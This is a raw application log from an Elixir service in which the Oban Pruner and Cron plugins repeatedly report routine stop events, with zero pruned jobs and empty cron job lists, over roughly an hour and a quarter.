{"source":"oban","duration":2369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:00.468 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:56:18.385 [info] {"source":"oban","duration":2253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:48.392 [info] {"source":"oban","duration":2675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:00.480 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:57:18.400 [info] {"source":"oban","duration":4703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:48.406 [info] {"source":"oban","duration":3148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:00.482 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:58:18.411 [info] {"source":"oban","duration":2463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:48.422 [info] {"source":"oban","duration":2619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:00.488 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:59:18.429 [info] {"source":"oban","duration":2092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:48.433 [info] {"source":"oban","duration":2435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:00.492 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:00:18.436 [info] {"source":"oban","duration":2288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:48.441 [info] {"source":"oban","duration":2428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:00.494 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:01:18.452 [info] {"source":"oban","duration":2712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:48.456 [info] {"source":"oban","duration":2587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:00.503 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:02:18.468 [info] {"source":"oban","duration":2349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:48.472 [info] {"source":"oban","duration":2477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:00.505 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:03:18.476 [info] {"source":"oban","duration":2525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:48.482 [info] {"source":"oban","duration":4113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:00.517 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:04:18.487 [info] {"source":"oban","duration":2530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:48.492 [info] {"source":"oban","duration":2519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:00.519 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:05:18.496 [info] {"source":"oban","duration":2384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:48.506 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:00.521 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:06:18.510 [info] {"source":"oban","duration":3370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:48.525 [info] {"source":"oban","duration":4220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:00.523 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:07:18.534 [info] {"source":"oban","duration":2961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:48.541 [info] {"source":"oban","duration":2833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.525 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:08:18.549 [info] {"source":"oban","duration":1700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:48.558 [info] {"source":"oban","duration":2342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:00.532 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:09:18.571 [info] {"source":"oban","duration":3177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:48.576 [info] {"source":"oban","duration":3184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.540 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:10:18.580 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:48.586 [info] {"source":"oban","duration":2980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:00.542 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:11:18.591 [info] {"source":"oban","duration":2899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:48.602 [info] {"source":"oban","duration":2527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.552 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:12:18.612 [info] {"source":"oban","duration":3406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:48.617 [info] {"source":"oban","duration":2995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:00.557 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:13:18.625 [info] {"source":"oban","duration":2806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:48.629 [info] {"source":"oban","duration":2634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:00.562 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:14:18.635 [info] {"source":"oban","duration":2231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:48.639 [info] {"source":"oban","duration":2689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.565 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:15:18.643 [info] {"source":"oban","duration":2134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:48.648 [info] {"source":"oban","duration":3484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:00.568 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:16:18.658 [info] {"source":"oban","duration":2221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:48.662 [info] {"source":"oban","duration":2669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.569 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:17:18.667 [info] {"source":"oban","duration":3320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:48.671 [info] {"source":"oban","duration":3240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.571 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:18:18.675 [info] {"source":"oban","duration":1936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:48.680 [info] {"source":"oban","duration":2893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:00.574 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:19:18.688 [info] {"source":"oban","duration":3324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:48.691 [info] {"source":"oban","duration":1908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.575 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:20:18.700 [info] {"source":"oban","duration":3507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:48.705 [info] {"source":"oban","duration":2950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.577 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:21:18.711 [info] {"source":"oban","duration":3102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:48.714 [info] {"source":"oban","duration":1835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:00.579 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:22:18.721 [info] {"source":"oban","duration":2898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:48.727 [info] {"source":"oban","duration":1793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.582 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:23:18.741 [info] {"source":"oban","duration":3527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:48.751 [info] {"source":"oban","duration":2025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.587 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:24:18.757 [info] {"source":"oban","duration":2491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:48.763 [info] {"source":"oban","duration":3820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:00.590 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:25:18.766 [info] {"source":"oban","duration":1924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:48.782 [info] {"source":"oban","duration":3828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.593 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:26:18.791 [info] {"source":"oban","duration":3315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:48.796 [info] {"source":"oban","duration":2974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.596 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:27:18.808 [info] {"source":"oban","duration":3785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:48.814 [info] {"source":"oban","duration":3025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.599 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:28:18.820 [info] {"source":"oban","duration":3460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:48.830 [info] {"source":"oban","duration":4511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:00.608 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:29:18.836 [info] {"source":"oban","duration":2885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:48.844 [info] {"source":"oban","duration":3369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:00.612 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:30:18.851 [info] {"source":"oban","duration":3557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:48.857 [info] {"source":"oban","duration":3294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.618 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:31:18.867 [info] {"source":"oban","duration":5874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:48.875 [info] {"source":"oban","duration":5197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.632 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:32:18.881 [info] {"source":"oban","duration":3473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:48.885 [info] {"source":"oban","duration":2188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:00.637 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:33:18.893 [info] {"source":"oban","duration":4170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:48.899 [info] {"source":"oban","duration":3197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.649 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:34:18.906 [info] {"source":"oban","duration":3339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:48.911 [info] {"source":"oban","duration":3559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.651 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:35:18.924 [info] {"source":"oban","duration":3543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:48.939 [info] {"source":"oban","duration":3725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:00.663 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:36:18.945 [info] {"source":"oban","duration":3998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:48.954 [info] {"source":"oban","duration":2979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.666 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:37:18.958 [info] {"source":"oban","duration":2818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:48.962 [info] {"source":"oban","duration":2576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.668 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:38:18.970 [info] {"source":"oban","duration":4244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:48.980 [info] {"source":"oban","duration":3281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.671 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:39:18.985 [info] {"source":"oban","duration":2978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:48.991 [info] {"source":"oban","duration":3634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:00.676 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:40:18.995 [info] {"source":"oban","duration":2017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:49.003 [info] {"source":"oban","duration":3704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:00.679 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:41:19.007 [info] {"source":"oban","duration":2166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:49.012 [info] {"source":"oban","duration":3398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:00.691 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:42:19.023 [info] {"source":"oban","duration":3970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:49.028 [info] {"source":"oban","duration":3063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:00.695 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:43:19.037 [info] {"source":"oban","duration":4859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:49.045 [info] {"source":"oban","duration":3593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:00.707 [info] {"source":"oban","duration":2225,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:44:19.056 [info] {"source":"oban","duration":3251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:49.061 [info] {"source":"oban","duration":3166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:00.713 [info] {"source":"oban","duration":898,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:45:19.068 [info] {"source":"oban","duration":3544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:49.076 [info] {"source":"oban","duration":2862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.718 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:46:19.081 [info] {"source":"oban","duration":3071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:49.087 [info] {"source":"oban","duration":3218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.724 [info] {"source":"oban","duration":2446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:47:19.094 [info] {"source":"oban","duration":2294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:49.101 [info] {"source":"oban","duration":3111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.730 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:48:19.106 [info] {"source":"oban","duration":3370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:49.114 [info] {"source":"oban","duration":3031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:00.733 [info] {"source":"oban","duration":907,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:49:19.119 [info] {"source":"oban","duration":2768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:49.129 [info] {"source":"oban","duration":2018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:00.739 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:50:19.134 [info] {"source":"oban","duration":3334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:49.144 [info] {"source":"oban","duration":6682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:00.742 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:51:19.157 [info] {"source":"oban","duration":11219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:49.161 [info] {"source":"oban","duration":1976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:00.746 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:52:19.169 [info] {"source":"oban","duration":3375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:49.176 [info] {"source":"oban","duration":2668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:00.753 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:53:19.183 [info] {"source":"oban","duration":3124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:49.192 [info] {"source":"oban","duration":5054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:00.760 [info] {"source":"oban","duration":3988,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:54:19.200 [info] {"source":"oban","duration":4711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:49.209 [info] {"source":"oban","duration":7206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:00.766 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:55:19.215 [info] {"source":"oban","duration":2606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:49.225 [info] {"source":"oban","duration":4886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:00.778 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:56:19.231 [info] {"source":"oban","duration":2676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:49.238 [info] {"source":"oban","duration":3741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:00.781 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:57:19.245 [info] {"source":"oban","duration":3605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:49.251 [info] {"source":"oban","duration":3805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.788 [info] {"source":"oban","duration":1876,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:58:19.261 [info] {"source":"oban","duration":3727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:49.271 [info] {"source":"oban","duration":2934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.792 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:59:19.282 [info] {"source":"oban","duration":4094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:49.314 [info] {"source":"oban","duration":24450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.799 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:00:19.320 [info] {"source":"oban","duration":4735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:49.325 [info] {"source":"oban","duration":3189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:00.810 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:01:19.329 [info] {"source":"oban","duration":2449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:49.341 [info] {"source":"oban","duration":2643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:00.823 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:02:19.354 [info] {"source":"oban","duration":4197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:49.366 [info] {"source":"oban","duration":2946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:00.827 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:03:19.380 [info] {"source":"oban","duration":2358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:49.392 [info] {"source":"oban","duration":3060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:00.832 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:04:19.397 [info] {"source":"oban","duration":2768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:49.405 [info] {"source":"oban","duration":2496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.844 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:05:19.411 [info] {"source":"oban","duration":2737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:49.416 [info] {"source":"oban","duration":2487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.848 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:06:19.422 [info] {"source":"oban","duration":4716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:49.430 [info] {"source":"oban","duration":3610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:00.860 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:07:19.436 [info] {"source":"oban","duration":3728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:49.442 [info] {"source":"oban","duration":4565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:00.862 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:08:19.448 [info] {"source":"oban","duration":2464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:49.462 [info] {"source":"oban","duration":2392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.871 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:09:19.471 [info] {"source":"oban","duration":2577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:49.478 [info] {"source":"oban","duration":2470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:00.875 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:10:19.481 [info] {"source":"oban","duration":2204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:49.484 [info] {"source":"oban","duration":1853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.877 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:11:19.487 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:49.492 [info] {"source":"oban","duration":919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.883 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:12:19.499 [info] {"source":"oban","duration":2040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:49.504 [info] {"source":"oban","duration":1953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.885 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:13:19.508 [info] {"source":"oban","duration":2795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:49.512 [info] {"source":"oban","duration":2662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:00.891 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:14:19.524 [info] {"source":"oban","duration":2445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:49.531 [info] {"source":"oban","duration":2545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 